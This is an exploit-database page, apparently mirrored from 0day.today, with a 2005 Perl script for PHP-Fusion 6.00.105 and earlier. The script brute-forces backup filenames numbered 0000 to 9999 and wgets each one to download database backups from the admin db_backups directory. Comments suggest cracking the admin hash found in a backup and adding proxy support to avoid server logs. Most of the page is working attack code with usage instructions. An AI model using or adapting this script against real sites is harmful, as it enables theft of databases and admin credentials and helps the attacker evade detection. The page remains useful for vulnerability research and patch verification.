Search...

PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit

2005-06-25T00:00:00
ID 1337DAY-ID-139
Type zdt
Reporter Easyex
Modified 2005-06-25T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================================================
PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit
===================================================================





 #!/usr/bin/perl
 ######################################################
 #  D A R K   A S S A S S I N S   C R E W   2 0 0 5   #
 ######################################################
 # Dark Assassins - http://dark-assassins.com/        #
 # Visit us on IRC @ irc.tddirc.net #DarkAssassins    #
 ######################################################
 # phpfusiondb.pl; Version 0.1 22/06/05               #
 # PHP-Fusion db backup proof-of-concept by Easyex    #
 # Database backup vuln in v6.00.105 and below        #
 ######################################################
 # Description: When a db (database) backup is made   #
 # it is saved in /administration/db_backups/ on 6.0  #
 # and on 5.0 it is saved in /fusion_admin/db_backups/#
 # The backup file can be saved in 2 formats: .sql or #
 # .sql.gz and is hidden by a blank index.php file but#
 # can be downloaded client-side, The filename is for #
 # example : backup_2005-06-22_2208.sql.gz so what we #
 # can do is generate 0001 to 9999 and request the    #
 # file and download it. If a db file is found an     #
 # attacker can get the admin hash and crack  it or   #
 # retrieve other sensitive information from the db!  #
 ######################################################

 # 9999 requests to the host is alot, And would get noticed in the server log!
 # If you re-coded your own script with proxy support you would be fine.
 # You need to know the backup year-month-day to be able to find a backup file unless the server is set to automaticlly   
 # backup the php-fusiondatabase.

 my $wget='wget';

 my $count='0';

 my $target;

 if (@ARGV < 4)
{
 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";
 print "Usage: phpfusiondb.pl <host> <version> <file> <extension>\n";
 print "Example: phpfusiondb.pl example.com 6 backup_2005-06-23_ .sql.gz\n";
 print "\n";
 exit();
}

 my $host = $ARGV[0];
 my $ver = $ARGV[1];
 my $file = $ARGV[2];
 my $extension = $ARGV[3];

 if ($ver eq "6") {
       $dir='/administration/db_backups/'; # Directory path to the 6.X backup folder
 }

 if ($ver eq "5") {
       $dir='/fusion_admin/db_backups/'; # Directory path to the 5.X backup folder
}

 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";

 print "Host: $host\n";
 print "Directory: $dir\n";
 print "File: $file + 0001 to 9999\n";
 print "Extension: $extension\n";
 print "\n";
 print "Attempting to find a db backup file on $host\n";

 for($count=0;$count<9999;$count++) {

    $target=$host.$dir.$file.sprintf("%04d", $count).$extension;

    system("$wget $target");
 }



#  0day.today [2018-03-03]  #
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017
Protected by